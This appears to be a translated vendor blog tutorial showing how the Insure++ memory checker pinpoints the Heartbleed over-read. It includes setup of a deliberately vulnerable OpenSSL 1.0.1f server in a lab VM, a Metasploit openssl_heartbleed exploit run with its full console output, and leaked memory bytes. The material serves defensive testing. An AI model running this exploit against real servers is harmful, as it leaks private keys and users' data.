使用运行时错误检测来发现安全漏洞

您可以使用运行时错误检测来查找安全漏洞,而不必依赖安全扫描程序在代码中查找已知漏洞。这项技术不需要知道已知的漏洞即可检测出来。

使用运行时错误检测来发现安全漏洞

您可以使用运行时错误检测来查找安全漏洞,而不必依赖安全扫描程序在代码中查找已知漏洞。这项技术不需要知道已知的漏洞即可检测出来。

Heartbleed漏洞于2014年在OpenSSL中被发现,由于OpenSSL在开源和商业应用程序中的广泛采用,它引起了很多关注和担忧。这项发现之后,特定的漏洞扫描程序进行了更新以检测Heartbleed,但如今,我们正在寻找另一种可用于通过运行时错误检测来检测安全漏洞的技术。该技术不依赖于已经发现的漏洞来进行检测。

发布有关OpenSSL Heartbleed漏洞的消息时,业界对如何修补或缓解该问题感到恐慌。 OpenSSLHTTPS通信中使用的加密库。HTTPS应该是HTTP的安全版本,因此通过Internet进行第一线保护的各种私有信息是OpenSSL。因此,Heartbleed漏洞使信用卡、 会保险 、密码和其他个人信息面临严重风险。

该漏洞是由OpenSSL很少使用但经常启用的“心跳”功能引起的。通过向运行OpenSSL的服务器发送格式错误的心跳请求,就会发生读取内存过大,从而将关键信息泄漏到响应包中。正确配置武器后,这将导致私有OpenSSL几乎无法检测到的泄漏,从而损害了服务器的所有安全通信。

随着组织意识到这个问题是真实的,他们想检查该问题是否存在于自己的源代码中。在最简单的级别上,您可以修补或更新旧版本的OpenSSL。但是您可能还需要进行测试以确保根本不存在潜在的问题。让我们看看如何将运行时错误检测与传统的渗透工具一起使用,以精确检测漏洞。

将运行时错误检测应用于安全性

Parasoft Insure++是一种内存调试工具,它使用获得专利的检测技术来快速识别泄漏和其他内存问题。使用传统的调试器,很难检测读取中的内存(如果不是不可能的话),但是使用Parasoft非常容易

保险++

Heartbleed漏洞最初是由CodenomiconGoogle Security的安全工程师发现的。不仅要发现该漏洞,而且还证明该漏洞很重要并充分缓解了该问题,因此付出了巨大的努力。在这里,我将向您展示一个良好的漏洞发现工具(例如与Insure++结合使用的模糊器)将如何显着简化确定漏洞影响并进行修复的过程。

由于Heartbleed的核心是内存过度读取问题,因此我们将使用Parasoft Insure++在一个真实世界的漏洞上演示使用正确的工具诊断和修复关键错误的难易程度!

入门:设置受害者虚拟机

受害虚拟机是我们在其中设置LigHTTPD的地方,以使用容易受到Heartbleed攻击的OpenSSL版本。我选择CentOS 7作为受害虚拟机的操作系统。确保在安装过程中选择开发工具,以便包含GCC编译器和其他必需的头文件。

设置虚拟机的 络时,请注意从何处发动攻击。我选择从主机进行攻击,所以我包括了仅主机的 络适配器。在将要执行攻击的计算机上安装Metasploit

最后,在受害虚拟机上安装Parasoft Insure++!

项目布局

该项目的布局如下:

 ~/heartbleed :: 我们将使用的主目录。

 ~/heartbleed/env :: 我们将其定位为安装前缀的目录。

 ~/heartbleed/src :: 我们将在其中下载源代码并进行编译的目录。

 ~/heartbleed/srv :: 存储我们的LigHTTPD 站的目录。

使用Insure++构建OpenSSL并安装。

证明Heartbleed漏洞的步骤是使用Insure++工具构建OpenSSL。为了利用令人讨厌的漏洞,我们需要构建一个版本的OpenSSL,该版本已在漏洞修复之前发布。包含令人讨厌的漏洞的OpenSSL的最新版本是1.0.1版,因此我们将使用它。

 $ cd /home/USER/heartbleed/src  $ wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz  $ tar xf openssl-1.0.1f.tar.gz  $ cd openssl-1.0.1f

接下来需要做的是配置源代码。为了加快此过程,我们将在OpenSSL源目录中创建以下脚本。该脚本假定insuregcc都包含在当前shell路径中。将该脚本命名为configure_openssl.sh之类的名称

 #!/usr/bin/env bash

 

 CC=”$(command -v insure) $(command -v gcc)”

 CXX=”$(command -v insure) $(command -v g++)”

 ./config -d shared –prefix=/home/USER/heartbleed/env

-d标志将OpenSSL配置为包含Insure++所需的调试符 。shared指令将OpenSSL配置为生成共享库。

   –prefix=/home/USER/heartbleed/env

标志将OpenSSL配置为安装到此目录。

现在,在OpenSSL源目录中运行~/configure_openssl.sh来配置源。

 $ pwd

 /home/USER/heartbleed/src/openssl-1.0.1f

 $ chmod +x configure_openssl.sh

 $ ./configure_openssl.sh

下一步是使用make进行编译。Make接受-j标志以指定要并行运行的编译作业的数量。 Insure++完全支持此并行编译,这允许我们通过指定受害虚拟机可用的内核数量来加快编译速度。

$ make -j4

当使用Insure++工具运行make时,将显示一个Insra窗口,显示在编译过程中正在检测哪些文件。

Insure++的屏幕截图

通常,我们会在构建后运行make install,但由于CentOS 7附带的pod2man的旧版本不支持OpenSSL所使用的格式,因此手册文件创建存在问题。为了避免这种情况,我们仅安装软件,而不是手动修补许多POD文件。

$ make install_sw

生成和安装LigHTTPD

下一步是使用我们的Insure++内置OpenSSL构建LigHTTPD。由于我们对OpenSSL中的Heartbleed漏洞感兴趣,而不是对LigHTTPD的某些行为感兴趣,因此我们将在没有Insure++工具的情况下进行构建。尽管未使用Insure++来编译LigHTTPD,但由于要与Insure++检测的OpenSSL构建链接,因此仍然需要使用Insure++进行链接。

我们将提供最新版本的LigHTTPD的源代码。

$ cd /home/USER/heartbleed/src  $ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz  $ tar xf lighttpd-1.4.49.tar.xz  $ cd lighttpd-1.4.49

现在,我们需要配置LigHTTPD源,以针对Insure++工具和我们的OpenSSL构建进行正确链接。我们将在LigHTTPD源目录中创建以下脚本以完成此操作。将配置脚本命名为configure_lighttpd.sh之类的名称。

 #!/usr/bin/env bash OPENSSL_PATH=’/home/USER/heartbleed/env’ INSURE_PATH=’/home/USER/insure’ MY_LIBS=’-linsure -linsure_mt -ldl’ MY_LIB_PATHS="-L${OPENSSL_PATH}/lib -L${INSURE_PATH}/lib" MY_LD_LIB_PATHS="${OPENSSL_PATH}/lib:${INSURE_PATH}/lib" MY_FLAGS="$MY_LIB_PATHS $MY_LIBS" CC="$(command -v gcc)"  CXX="$(command -v g++)"  CFLAGS="$MY_FLAGS"  CPPFLAGS="$MY_FLAGS"  LDFLAGS="$MY_LIB_PATHS"  LD_LIBRARY_PATH="$MY_LD_LIB_PATHS"  --prefix=/home/USER/heartbleed/env  --with-openssl  --with-openssl-includes=/home/USER/heartbleed/env/include  --with-openssl-libs=/home/USER/heartbleed/env/lib

在运行此配置脚本之前,请确保安装LigHTTPD所需的bzip2标头。

sudo yum install bzip2-devel

LigHTTPD目录运行脚本。

 $ pwd

 /home/USER/heartbleed/src/lighttpd-1.4.49

 $ chmod +x configure_lighttpd.sh

 $ ./configure_lighttpd.sh

现在已经配置了源,我们必须执行一个不寻常的附加步骤。由于LigHTTPD使用libtool进行库链接,因此我们必须将其配置为在最后的链接步骤中使用Insure++。

CCLD = $(CC)

请确保以下各项与您的设置相匹配

CCLD = ‘/home/USER/insure/bin/insure /usr/bin/gcc’

现在已经配置了源代码,我们可以继续构建源代码,并安装。

 $ make -j4

 $ make install

设置LigHTTPD

现在,我们已经使用Insure++检测的OpenSSL构建了LigHTTPD,我们需要创建一个裸机安装程序以运行LigHTTPD。首先,我们/home/USER/heartbleed/srv/index.html~ 创建一个简单的“Hello world!”的HTML页面如下

<html>

   <head>

     <title>Heartbleed Demo</title>

   </head>

   <body>

     <h1>Hello world!</h1>

   </body>

 </html>

设置中的下一个设置是为LigHTTPD生成SSL PEM文件以用于HTTPS

 $ cd /home/USER/heartbleed/  $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem

使用运行时错误检测来发现安全漏洞

请务必如上所示填写电子邮件地址、地理位置和单位字段,因为稍后我们会在泄漏的内存中查找它们!

最后,我们在/home/USER/heartbleed/lighttpd.conf中创建一个简单的配置文件,如下所示。确保更正用户组和路径以匹配您的设置。请注意,我们将非标准端口8080用于HTTP,将4443用于HTTPS,以避免必须以root用户身份运行LigHTTPD

 server.modules = (   "mod_openssl",   "mod_access",   "mod_accesslog", ) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/home/USER/heartbleed/srv" server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log" dir-listing.activate = "enable" index-file.names = ( "index.html" ) mimetype.assign = (   ".html" => "text/html",   ".txt" => "text/plain",   ".css" => "text/css",   ".js" => "application/x-javascript",   ".jpg" => "image/jpeg",   ".jpeg" => "image/jpeg",   ".gif" => "image/gif",   ".png" => "image/png",   "" => "application/octet-stream", ) $SERVER["socket"] == ":4443" {   ssl.engine = "enable"   ssl.pemfile = "/home/USER/heartbleed/server.pem" }
server.modules = (    "mod_openssl",    "mod_access",    "mod_accesslog",)server.port = 8080server.username = "USER"server.groupname = "GROUP"server.document-root = "/home/USER/heartbleed/srv"server.errorlog      = "/home/USER/heartbleed/lighttpd_error.log"accesslog.filename   = "/home/USER/heartbleed/lighttpd_access.log"dir-listing.activate = "enable"index-file.names = ( "index.html" )mimetype.assign = (       ".html" => "text/html"       ".txt"  => "text/plain"       ".css"  => "text/css"       ".js"   => "application/x-javascript"       ".jpg"  => "image/jpeg"       ".jpeg" => "image/jpeg"       ".gif"  => "image/gif"       ".png"  => "image/png"       ""      => "application/octet-stream")$SERVER["socket"] == ":4443" {    ssl.engine = "enable"    ssl.pemfile = "/home/USER/heartbleed/server.pem"}
server.modules = (“mod_openssl”,“mod_access”,“mod_accesslog”,)server.port = 8080server.username = “USER”server.groupname = “GROUP”server.document-root = “/home/USER/heartbleed/srv”server.errorlog = “/home/USER/heartbleed/lighttpd_error.log”accesslog.filename = “/home/USER/heartbleed/lighttpd_access.log”dir-listing.activate = “enable”index-file.names = ( “index.html” )mimetype.assign = (“.html” => “text/html”“.txt” => “text/plain”“.css” => “text/css”“.js” => “application/x-javascript”“.jpg” => “image/jpeg”“.jpeg” => “image/jpeg”“.gif” => “image/gif”“.png” => “image/png”“” => “application/octet-stream”)$SERVER[“socket”] == “:4443” {ssl.engine = “enable”ssl.pemfile = “/home/USER/heartbleed/server.pem”}


运行LigHTTPD

/home/USER/heartbleed/run_lighttpd.sh中创建以下脚本。由于我们为库使用了非标准路径,因此我们需要指定LD_LIBRARY_PATH。确保更正路径以匹配您的用户主文件夹。

#!/usr/bin/env bashLD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ /home/USER/heartbleed/env/sbin/lighttpd     -D     -f /home/USER/hearbleed/lighttpd.conf
#!/usr/bin/env bashLD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ /home/USER/heartbleed/env/sbin/lighttpd -D -f /home/USER/hearbleed/lighttpd.conf
 #!/usr/bin/env bashLD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’  /home/USER/heartbleed/env/sbin/lighttpd  -D  -f /home/USER/heartbleed/lighttpd.conf

运行脚本以启动LigHTTPD

$ pwd

 /home/USER/heartbleed

 $ chmod +x run_lighttpd.sh

 $ ./run_lighttpd.sh

运行Metasploit

现在,我们已经安装了LigHTTPD并与我们的Insure++检测到的OpenSSL一起运行,现在该发起攻击了!我们将使用Metasploit发起攻击。Metasploit是用于许多信息安全任务的工具,包括利用和绕过软件安全性。它包括用于Heartbleed的扫描程序,该扫描程序部分利用此漏洞进行演示易感性。

您需要做的第一件事是在攻击者系统上安装Metasploit。我选择从虚拟机主机发起攻击,因此在那里安装了Metasploit。我将不介绍Metasploit安装,因为它不在本演示的范围之内。安装Metasploit后启动Metasploit控制台。

 $ msfconsole

这将显示有关Metasploit框架的提示。在此提示下,我们搜索Metasploit,以了解它提供了哪些Heartbleed工具。

 msf > search heartbleed  Matching Modules  ================  Name Disclosure Date Rank Description  ---- --------------- ---- -----------  auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak  auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

我们将使用前面提到的MetasploitHeartbleed扫描仪。

 msf > use auxiliary/scanner/ssl/openssl_heartbleed

在这里,我们要设置openssl_heartbleed扫描程序的选项。首先,我们将打开详细输出以查看开发过程中的详细输出。然后,我们将远程主机IP和端口设置为攻击目标。确保更改主机IP和端口以匹配您的设置。

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true  verbose => true  msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102  rhosts => 192.168.56.102  msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443  RPORT => 4443

如果运行不带任何参数的set,我们可以看到为当前工具设置了哪些参数。在Metasploit中启动扫描或利用之前,请务必检查这些选项,因为针对错误的系统可能会破坏或损坏意外目标。

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set  Global  ======  No entries in data store.  Module: scanner/ssl/openssl_heartbleed  ======================================  Name                 Value  ----                 -----  CHOST  CPORT  ConnectTimeout       10  DUMPFILTER  HEARTBEAT_LENGTH     65535  MAX_KEYTRIES         50  Proxies  RESPONSE_TIMEOUT     10  RHOSTS               192.168.56.102  RPORT                4443  SSL                  false  SSLCipher  SSLVerifyMode        PEER  SSLVersion           Auto  STATUS_EVERY         5  ShowProgress         true  ShowProgressPercent  10  TCP::max_send_size   0  TCP::send_delay      0  THREADS              1  TLS_CALLBACK         None  TLS_VERSION          1.0  VERBOSE              true  WORKSPACE  XMPPDOMAIN           localhost

现在,我们已经配置了所有选项,并确认我们没有在攻击我们不想要的东西,我们可以发起攻击!

 msf auxiliary(scanner/ssl/openssl_heartbleed) > exploit [*] 192.168.56.102:4443 - Sending Client Hello... [*] 192.168.56.102:4443 - SSL record #1: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 86 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 82 [*] 192.168.56.102:4443 - Type: Server Hello (2) [*] 192.168.56.102:4443 - Server Hello Version: 0x0301 [*] 192.168.56.102:4443 - Server Hello random data: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367e6f3fed78ece4 [*] 192.168.56.102:4443 - Server Hello Session ID length: 32 [*] 192.168.56.102:4443 - Server Hello Session ID: 6fc69c504e53adc8611f353f010f427a01ce9530edf77f84fa71e5238660f7db [*] 192.168.56.102:4443 - SSL record #2: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 1033 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 1029 [*] 192.168.56.102:4443 - Type: Certificate Data (11) [*] 192.168.56.102:4443 - Certificates length: 1026 [*] 192.168.56.102:4443 - Data length: 1029 [*] 192.168.56.102:4443 - Certificate #1: [*] 192.168.56.102:4443 - Certificate #1: Length: 1023 [*] 192.168.56.102:4443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000055b722236070>, issuer=#<OpenSSL::X509::Name:0x000055b7222360c0>, serial=#<OpenSSL::BN:0x000055b722236110>, not_before=2018-09-24 23:24:45 UTC, not_after=2038-09-19 23:24:45 UTC> [*] 192.168.56.102:4443 - SSL record #3: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 331 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 327 [*] 192.168.56.102:4443 - Type: Server Key Exchange (12) [*] 192.168.56.102:4443 - SSL record #4: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 4 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 0 [*] 192.168.56.102:4443 - Type: Server Hello Done (14) [*] 192.168.56.102:4443 - Sending Heartbeat... [*] 192.168.56.102:4443 - Heartbeat response, 65535 bytes [+] 192.168.56.102:4443 - Heartbeat response with leak [*] 192.168.56.102:4443 - Printable info leaked: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

“可打印的信息泄漏:”之后的行已被删除,因为该行非常长。一些相关的字节如下所示:

: .x.. o..PNS..a.5.Bz...0.....q.#.`................................0...0...: ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U: ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!..: *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0..: .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0: ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0.....: ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3

如您所见,该漏洞利用程序成功地从包含我们PEM密钥的OpenSSL泄漏了内存!如果您搜索泄漏的内存,您将找到在创建LigHTTPD使用的PEM文件时填写的电子邮件地址、实际位置和组织信息。

查看Insure++ InsraTCA输出

从受害虚拟机启动LigHTTPD时,可以在Insra中看到Insure++输出。在初始执行期间,发生USER_ERROR,我们将忽略它,因为它与Heartbleed无关。

Insure++ Insra的屏幕快照

Metasploit中运行Heartbleed漏洞之后,我们可以看到发生缓冲区溢出导致内存泄漏的确切代码行!

Insure++ Insra的屏幕快照

双击READ_OVERFLOW行将打开另一个窗口,其中包含其他详细信息,包括有关内存块分配位置的跟踪以及有关读取溢出发生位置的堆栈跟踪。

Insure++ Insra的屏幕快照

运行Insure++的可执行文件在运行时会生成tca.log文件。TCA代表“全面覆盖率分析”。我们可以使用Insure++随附的TCA工具打开此日志文件,以查看有关代码覆盖率的详细信息。

$ TCA tca.log

在下一个屏幕截图中,您可以看到TCA显示运行Metasploit Heartbleed漏洞后获得的tca.log的结果。我按文件对 告进行了排序,并突出显示了存在漏洞的t1_lib.c。如您所见,我们仅覆盖了文件中13%的代码。

使用运行时错误检测来发现安全漏洞

双击t1_lib.c行将导致另一个窗口打开。在此窗口中,我们可以看到t1_lib.c中的覆盖范围按功能排序。我重点介绍了发生Heartbleed漏洞的功能。如您所见,我们仅覆盖了函数中约45%的代码。

使用运行时错误检测来发现安全漏洞

此外,双击函数名称将显示源代码,其中源代码用黑色覆盖,而代码未用红色覆盖。

使用运行时错误检测来发现安全漏洞

结论

如您所见,Parasoft Insure++Heartbleed进行了微不足道的检测。Insure++不仅检测了读取的内存,还生成了:

  • 发生内存过度读取的堆栈跟踪。

  • 内存本身分配位置的堆栈跟踪。

  • 涵盖了详细的代码路径日志。

这些功能使Insure++非常适合任何信息安全研究人员的工具。因此,尽管您可能熟悉使用各种SAST工具和渗透工具来查找安全漏洞,但应考虑将运行时错误检测添加到安全测试工具包中。

使用运行时错误检测来发现安全漏洞
标签:

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2020年10月19日
下一篇 2020年10月19日

相关推荐

发表回复

登录后才能评论